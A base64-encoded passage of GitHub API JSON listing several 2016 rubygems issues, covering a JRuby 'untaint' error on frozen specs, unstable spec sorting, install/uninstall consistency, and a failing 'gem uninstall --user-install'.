LmNvbS91c2Vycy90bHVudGVyL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RsdW50ZXIvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RsdW50ZXIvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90bHVudGVyL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGx1bnRlci9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90bHVudGVyL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGx1bnRlci9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGx1bnRlci9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6NDQzMjk0MTgzLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9wbGF0Zm9ybTolMjBqYXZhIiwibmFtZSI6InBsYXRmb3JtOiBqYXZhIiwiY29sb3IiOiI1MzE5ZTciLCJkZWZhdWx0IjpmYWxzZX0seyJpZCI6MTEyMjMwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMGJ1ZyUyMHJlcG9ydCIsIm5hbWUiOiJ0eXBlOiBidWcgcmVwb3J0IiwiY29sb3IiOiJiZmU1YmYiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MSwiY3JlYXRlZF9hdCI6IjIwMTYtMDQtMTlUMTc6Mzg6MDFaIiwidXBkYXRlZF9hdCI6IjIwMTYtMTAtMTNUMTk6Mzc6NTNaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJOT05FIiwiYm9keSI6Ik15IGN1cnJlbnQgcHJvYmxlbSBpczogcnVieWdlbXMgc2VyaWFsaXplZCBzcGVjcyBhcmUgZnJlZXppbmcgdmFyaWFibGVzIHRoYXQgYXJlIGxhdGVyIGAjdW50YWludGBkIHdoaWNoIHRocm93cyBhbiBlcnJvciBpbiBqcnVieSA5LjAuNC4wLlxuXG5UaGlzIGlzc3VlIGlzIHJlbGF0ZWQgdG86XG4tIFsgXSBOZXR3b3JrIHByb2JsZW1zXG4tIFt4XSBJbnN0YWxsaW5nIGEgbGlicmFyeVxuLSBbIF0gUHVibGlzaGluZyBhIGxpYnJhcnlcbi0gWyBdIFRoZSBjb21tYW5kIGxpbmUgYGdlbWBcbi0gWyBdIE90aGVyXG5cbkhlcmUgYXJlIG15IGN1cnJlbnQgZW52aXJvbm1lbnQgZGV0YWlsczpcblxuYGBgXG4kIGdlbSBlbnYgdmVyc2lvblxuMi42LjNcbmBgYFxuXG5JIHdpbGwgYWJpZGUgYnkgdGhlIFtjb2RlIG9mIGNvbmR1Y3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLlxuXG5bVGhpc10oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTM3MSkgaXMgY29uZmxpY3Rpbmcgd2l0aCBbdGhpc10oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL2xpYi9ydWJ5Z2Vtcy9pbnN0YWxsZXIucmIjTDQ2MykuXG5cblRoZSBzZXJpYWxpemVkIHNwZWMgbG9va3MgbGlrZTpcblxuYGBgXG5HZW06OlNwZWNpZmljYXRpb24ubmV3IGRvIHxzfFxuICBzLm5hbWUgPSBcImZvcmVtYW5cIi5mcmVlemVcbiAgcy52ZXJzaW9uID0gXCIwLjYzLjBcIlxuXG4gIHMucmVxdWlyZWRfcnVieWdlbXNfdmVyc2lvbiA9IEdlbTo6UmVxdWlyZW1lbnQubmV3KFwiPj0gMFwiLmZyZWV6ZSkgaWYgcy5yZXNwb25kX3RvPyA6cmVxdWlyZWRfcnVieWdlbXNfdmVyc2lvbj1cbiAgcy5yZXF1aXJlX3BhdGhzID0gW1wibGliXCIuZnJlZXplXVxuICBzLmF1dGhvcnMgPSBbXCJEYXZpZCBEb2xsYXJcIi5mcmVlemVdXG4gIHMuZGF0ZSA9IFwiMjAxNi0wNC0xOVwiXG4gIHMuZGVzY3JpcHRpb24gPSBcIlByb2Nlc3MgbWFuYWdlciBmb3IgYXBwbGljYXRpb25zIHdpdGggbXVsdGlwbGUgY29tcG9uZW50c1wiLmZyZWV6ZVxuICBzLmVtYWlsID0gXCJkZG9sbGFyQGdtYWlsLmNvbVwiLmZyZWV6ZVxuICBzLmV4ZWN1dGFibGVzID0gW1wiZm9yZW1hblwiLmZyZWV6ZV1cbiAgcy5maWxlcyA9IFtcIlJFQURNRS5tZFwiLmZyZWV6ZSwgLi4uIChsb3RzIG9mIGZyb3plbiB0aGluZ3MpXVxuICBzLmhvbWVwYWdlID0gXCJodHRwOi8vZ2l0aHViLmNvbS9kZG9sbGFyL2ZvcmVtYW5cIi5mcmVlemVcbiAgcy5saWNlbnNlcyA9IFtcIk1JVFwiLmZyZWV6ZV1cbiAgLi4uXG5gYGBcblxuV2UncmUgY3VycmVudGx5IHVzaW5nIGEgZm9yayBvZiBmb3JlbWFuIGZyb20gaGVyZTogaHR0cHM6Ly9naXRodWIuY29tL2FkYW1qdC9mb3JlbWFuL2Jsb2IvbWFzdGVyL2ZvcmVtYW4uZ2Vtc3BlYywgYW5kIHdoZW4gdXNpbmcgYnVuZGxlciB0byBwdWxsIGZyb20gdGhlIGdpdGh1YiByZXBvLCBydW5uaW5nIHZlcmJvc2VseSwgaXQgcHJpbnRzOlxuXG5gYGBcblVzaW5nIGZvcmVtYW4gMC42My4wIGZyb20gZ2l0Oi8vZ2l0aHViLmNvbS9hZGFtanQvZm9yZW1hbi5naXQgKGF0IG1hc3RlckBkZmRhYTRhKVxuXG5SdW50aW1lRXJyb3I6IGNhbid0IG1vZGlmeSBmcm96ZW4gb2JqZWN0XG5vcmcvanJ1YnkvUnVieUtlcm5lbC5qYXZhOjE5MTg6aW4gYHVudGFpbnQnXG4vb3B0L3N3aXBlbHkvcmJlbnYvdmVyc2lvbnMvanJ1YnktOS4wLjQuMC9saWIvcnVieS9zdGRsaWIvcnVieWdlbXMvaW5zdGFsbGVyLnJiOjQ2MzppbiBgYmxvY2sgaW4gZ2VuZXJhdGVfYmluJ1xub3JnL2pydWJ5L1J1YnlBcnJheS5qYXZhOjE1NjA6aW4gYGVhY2gnXG4vb3B0L3N3aXBlbHkvcmJlbnYvdmVyc2lvbnMvanJ1YnktOS4wLjQuMC9saWIvcnVieS9zdGRsaWIvcnVieWdlbXMvaW5zdGFsbGVyLnJiOjQ2MjppbiBgZ2VuZXJhdGVfYmluJ1xuL29wdC9zd2lwZWx5L3JiZW52L3ZlcnNpb25zL2pydWJ5LTkuMC40LjAvbGliL3J1YnkvZ2Vtcy9zaGFyZWQvZ2Vtcy9idW5kbGVyLTEuMTEuMi9saWIvYnVuZGxlci9zb3VyY2UvcGF0aC9pbnN0YWxsZXIucmI6Mjc6aW4gYGdlbmVyYXRlX2Jpbidcbi9vcHQvc3dpcGVseS9yYmVudi92ZXJzaW9ucy9qcnVieS05LjAuNC4wL2xpYi9ydWJ5L2dlbXMvc2hhcmVkL2dlbXMvYnVuZGxlci0xLjExLjIvbGliL2J1bmRsZXIvc291cmNlL3BhdGgucmI6MTkyOmluIGBibG9jayBpbiBnZW5lcmF0ZV9iaW4nXG5vcmcvanJ1YnkvUnVieURpci5qYXZhOjMyNjppbiBgY2hkaXInXG4vb3B0L3N3aXBlbHkvcmJlbnYvdmVyc2lvbnMvanJ1YnktOS4wLjQuMC9saWIvcnVieS9nZW1zL3NoYXJlZC9nZW1zL2J1bmRsZXItMS4xMS4yL2xpYi9idW5kbGVyL3NoYXJlZF9oZWxwZXJzLnJiOjUzOmluIGBibG9jayBpbiBjaGRpcidcbi9vcHQvc3dpcGVseS9yYmVudi92ZXJzaW9ucy9qcnVieS05LjAuNC4wL2xpYi9ydWJ5L3N0ZGxpYi9tb25pdG9yLnJiOjIxMTppbiBgbW9uX3N5bmNocm9uaXplJ1xuL29wdC9zd2lwZWx5L3JiZW52L3ZlcnNpb25zL2pydWJ5LTkuMC40LjAvbGliL3J1YnkvZ2Vtcy9zaGFyZWQvZ2Vtcy9idW5kbGVyLTEuMTEuMi9saWIvYnVuZGxlci9zaGFyZWRfaGVscGVycy5yYjo1MjppbiBgY2hkaXInXG4vb3B0L3N3aXBlbHkvcmJlbnYvdmVyc2lvbnMvanJ1YnktOS4wLjQuMC9saWIvcnVieS9nZW1zL3NoYXJlZC9nZW1zL2J1bmRsZXItMS4xMS4yL2xpYi9idW5kbGVyL3NvdXJjZS9wYXRoLnJiOjE4NzppbiBgZ2VuZXJhdGVfYmluJ1xuL29wdC9zd2lwZWx5L3JiZW52L3ZlcnNpb25zL2pydWJ5LTkuMC40LjAvbGliL3J1YnkvZ2Vtcy9zaGFyZWQvZ2Vtcy9idW5kbGVyLTEuMTEuMi9saWIvYnVuZGxlci9zb3VyY2UvZ2l0LnJiOjE3MTppbiBgaW5zdGFsbCdcbi9vcHQvc3dpcGVseS9yYmVudi92ZXJzaW9ucy9qcnVieS05LjAuNC4wL2xpYi9ydWJ5L2dlbXMvc2hhcmVkL2dlbXMvYnVuZGxlci0xLjExLjIvbGliL2J1bmRsZXIvaW5zdGFsbGVyL2dlbV9pbnN0YWxsZXIucmI6NTY6aW4gYGluc3RhbGwnXG4vb3B0L3N3aXBlbHkvcmJlbnYvdmVyc2lvbnMvanJ1YnktOS4wLjQuMC9saWIvcnVieS9nZW1zL3NoYXJlZC9nZW1zL2J1bmRsZXItMS4xMS4yL2xpYi9idW5kbGVyL2luc3RhbGxlci9nZW1faW5zdGFsbGVyLnJiOjE0OmluIGBpbnN0YWxsX2Zyb21fc3BlYydcbi9vcHQvc3dpcGVseS9yYmVudi92ZXJzaW9ucy9qcnVieS05LjAuNC4wL2xpYi9ydWJ5L2dlbXMvc2hhcmVkL2dlbXMvYnVuZGxlci0xLjExLjIvbGliL2J1bmRsZXIvaW5zdGFsbGVyL3BhcmFsbGVsX2luc3RhbGxlci5yYjo4ODppbiBgYmxvY2sgaW4gd29ya2VyX3Bvb2wnXG5vcmcvanJ1YnkvUnVieVByb2MuamF2YTozMTg6aW4gYGNhbGwnXG4vb3B0L3N3aXBlbHkvcmJlbnYvdmVyc2lvbnMvanJ1YnktOS4wLjQuMC9saWIvcnVieS9nZW1zL3NoYXJlZC9nZW1zL2J1bmRsZXItMS4xMS4yL2xpYi9idW5kbGVyL3dvcmtlci5yYjo1NTppbiBgYXBwbHlfZnVuYydcbi9vcHQvc3dpcGVseS9yYmVudi92ZXJzaW9ucy9qcnVieS05LjAuNC4wL2xpYi9ydWJ5L2dlbXMvc2hhcmVkL2dlbXMvYnVuZGxlci0xLjExLjIvbGliL2J1bmRsZXIvd29ya2VyLnJiOjUwOmluIGBibG9jayBpbiBwcm9jZXNzX3F1ZXVlJ1xub3JnL2pydWJ5L1J1YnlLZXJuZWwuamF2YToxMjkxOmluIGBsb29wJ1xuL29wdC9zd2lwZWx5L3JiZW52L3ZlcnNpb25zL2pydWJ5LTkuMC40LjAvbGliL3J1YnkvZ2Vtcy9zaGFyZWQvZ2Vtcy9idW5kbGVyLTEuMTEuMi9saWIvYnVuZGxlci93b3JrZXIucmI6NDc6aW4gYHByb2Nlc3NfcXVldWUnXG4vb3B0L3N3aXBlbHkvcmJlbnYvdmVyc2lvbnMvanJ1YnktOS4wLjQuMC9saWIvcnVieS9nZW1zL3NoYXJlZC9nZW1zL2J1bmRsZXItMS4xMS4yL2xpYi9idW5kbGVyL3dvcmtlci5yYjoyMjppbiBgYmxvY2sgaW4gaW5pdGlhbGl6ZSdcbmBgYFxuXG5AaGVhZGl1cyBpcyB0aGlzIGEgYnVnIHdpdGgganJ1YnkncyB1bnRhaW50IGNvZGUsIG9yIHNob3VsZCB0aGVyZSBiZSBhICNkdXAgaGVyZT9cbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTU4MSIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTgxL2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTgxL2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE1ODEvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE1ODEiLCJpZCI6MTQ3NDk0NzY0LCJudW1iZXIiOjE1ODEsInRpdGxlIjoiU3BlY3Mgc29ydGluZyBpbiBHZW06OlNwZWNpZmljYXRpb24uX3Jlc29ydCEoKSBzaG91bGQgYmUgc3RhYmxlIiwidXNlciI6eyJsb2dpbiI6ImE5dWRuOXUiLCJpZCI6MTI3Mzk2MywiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczIuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTI3Mzk2Mz92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYTl1ZG45dSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2E5dWRuOXUiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hOXVkbjl1L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2E5dWRuOXUvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYTl1ZG45dS9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYTl1ZG45dS9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2E5dWRuOXUvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hOXVkbjl1L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2E5dWRuOXUvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hOXVkbjl1L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hOXVkbjl1L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjoxMTIyMzAsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3R5cGU6JTIwYnVnJTIwcmVwb3J0IiwibmFtZSI6InR5cGU6IGJ1ZyByZXBvcnQiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjowLCJjcmVhdGVkX2F0IjoiMjAxNi0wNC0xMVQxNzoxNzoyOFoiLCJ1cGRhdGVkX2F0IjoiMjAxNi0wNC0xMlQyMjozNDo0OVoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik5PTkUiLCJib2R5IjoiSSdtIGhhdmluZyBhIHByb2JsZW0gb3Igd291bGQgbGlrZSB0byBzdWdnZXN0IGEgZmVhdHVyZS5cbkknbSBoYXZpbmcgYSBwcm9ibGVtXG5cbk15IGN1cnJlbnQgcHJvYmxlbSBpcyBfX19fX19fX19cbkkgaGF2ZSBhIHNjcmlwdCB0aGF0IGhhcyB0byBydW4gd2l0aCBKUnVieSwgaXQgZGVwZW5kcyBvbiBzZXZlcmFsIGdlbXMsIHNvbWUgd2l0aCBKUnVieSB2ZXJzaW9ucywgc29tZSBkb24ndCBhbmQgc29tZSBoYXZlIGJvdGgsIEkndmUgc2V0dXAgbXkgR0VNX1BBVEggc28gdGhhdCBKUnVieSBnZW0gcGF0aCBpcyBiZWZvcmUgcmVndWxhciBnZW0gcGF0aCwgc3VjaCBhczogW3BhdGgtdG8tSlJ1YnktZ2Vtcy1saWJdOltwYXRoLXRvLW5vbi1KUnVieS1nZW1zLWxpYl0uIE15IGV4cGVjdGF0aW9uIGlzIHdoZW4gYSBnZW0gaGFzIEpSdWJ5IHZlcnNpb24sIFJ1YnlHZW1zIHdpbGwgbG9hZCB0aGUgSlJ1YnkgdmVyc2lvbi4gSSBmb3VuZCB0aGF0IHNvbWV0aW1lcyBSdWJ5R2VtcyBiZWhhdmVzIGFzIEkgZXhwZWN0ZWQsIHNvbWV0aW1lcyBpdCBkb2Vzbid0LiBBZnRlciBzb21lIGRpZ2dpbmcgdXAgSSBmb3VuZCB0aGlzIG1ldGhvZCBpbiBbc3BlY2lmaWNhdGlvbi5yYl0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvMGUzYzU4ZTdmYTNhOGYxZjY5Y2EzZTc0MDY3YWY2ZmIzY2IyZWIxMS9saWIvcnVieWdlbXMvc3BlY2lmaWNhdGlvbi5yYiNMODU5KSwgaXQgdXNlcyBBcnJheS5zb3J0ISgpIHRvIHNvcnQgc3BlY3MgYnkgbmFtZSBhbmQgdmVyc2lvbiwgaXQgaXMgbm90IHN0YWJsZSBzb3J0LCB3aGljaCBtZWFucyB3aGVuIGEgZ2VtIGlzIGluc3RhbGxlZCBpbiBib3RoIHRoZSBKUnVieSBnZW1zIHBhdGggYW5kIHRoZSByZWd1bGFyIGdlbXMgcGF0aCwgaXQgaXMgbm9uLWRldGVybWluaXN0aWMgYWJvdXQgd2hpY2ggdmVyc2lvbiB3aWxsIGJlIGxvYWRlZCBhZnRlciB5b3UgYWRkIG9yIHJlbW92ZSBuZXcgZ2VtcyB0byB5b3VyIGxpYnJhcnkuXG5cblRoaXMgaXNzdWUgaXMgcmVsYXRlZCB0bzpcbi0gWyBdIE5ldHdvcmsgcHJvYmxlbXNcbi0gWyBdIEluc3RhbGxpbmcgYSBsaWJyYXJ5XG4tIFsgXSBQdWJsaXNoaW5nIGEgbGlicmFyeVxuLSBbIF0gVGhlIGNvbW1hbmQgbGluZSBgZ2VtYFxuLSBbeF0gT3RoZXJcblxuSGVyZSBhcmUgbXkgY3VycmVudCBlbnZyaW9ubWVudCBkZXRhaWxzOlxuXG5NeSBlbnZpcm9ubWVudCBkb2Vzbid0IG1hdHRlciwgSSd2ZSBsaW5rZWQgdG8gdGhlIGxhdGVzdCBjb21taXQgb2YgW3NwZWNpZmljYXRpb24ucmJdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iLzBlM2M1OGU3ZmEzYThmMWY2OWNhM2U3NDA2N2FmNmZiM2NiMmViMTEvbGliL3J1YnlnZW1zL3NwZWNpZmljYXRpb24ucmIjTDg1OSkgYW5kIGl0J3Mgc3RpbGwgYW4gdW5zdGFibGUgc29ydC5cblxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS5cbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTU2NyIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTY3L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTY3L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE1NjcvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xNTY3IiwiaWQiOjE0NDA2MjM0NSwibnVtYmVyIjoxNTY3LCJ0aXRsZSI6IkNvbnNpc3RlbnQgaW5zdGFsbCB1bmluc3RhbGwiLCJ1c2VyIjp7ImxvZ2luIjoiYnJvbnpkb2MiLCJpZCI6NDU5NTE3NCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczIuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNDU5NTE3ND92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9icm9uemRvYyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2Mvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjExMjIxOSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvY2F0ZWdvcnk6JTIwaW5zdGFsbCIsIm5hbWUiOiJjYXRlZ29yeTogaW5zdGFsbCIsImNvbG9yIjoiMGIwMmUxIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjIsImNyZWF0ZWRfYXQiOiIyMDE2LTAzLTI4VDE5OjM0OjQ4WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTEyLTIwVDIyOjEzOjIxWiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTUVNQkVSIiwicHVsbF9yZXF1ZXN0Ijp7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMTU2NyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTU2NyIsImRpZmZfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTU2Ny5kaWZmIiwicGF0Y2hfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTU2Ny5wYXRjaCJ9LCJib2R5IjoiTWFrZSB1bmluc3RhbGwgYW5kIGluc3RhbGwgY29uc2lzdGVudC5cbkBjb3Bpb3VzZnJlZXRpbWUgXG5cXGNjIEBkcmJyYWluIFxuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTQzIiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE1NDMvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE1NDMvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTU0My9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTU0MyIsImlkIjoxNDAwNzA5NjgsIm51bWJlciI6MTU0MywidGl0bGUiOiJnZW0gdW5pbnN0YWxsIGdlbV9uYW1lIC0tdXNlci1pbnN0YWxsIG5vdCB3b3JraW5nIiwidXNlciI6eyJsb2dpbiI6ImJyb256ZG9jIiwiaWQiOjQ1OTUxNzQsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMyLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzQ1OTUxNzQ/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnJvbnpkb2MiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb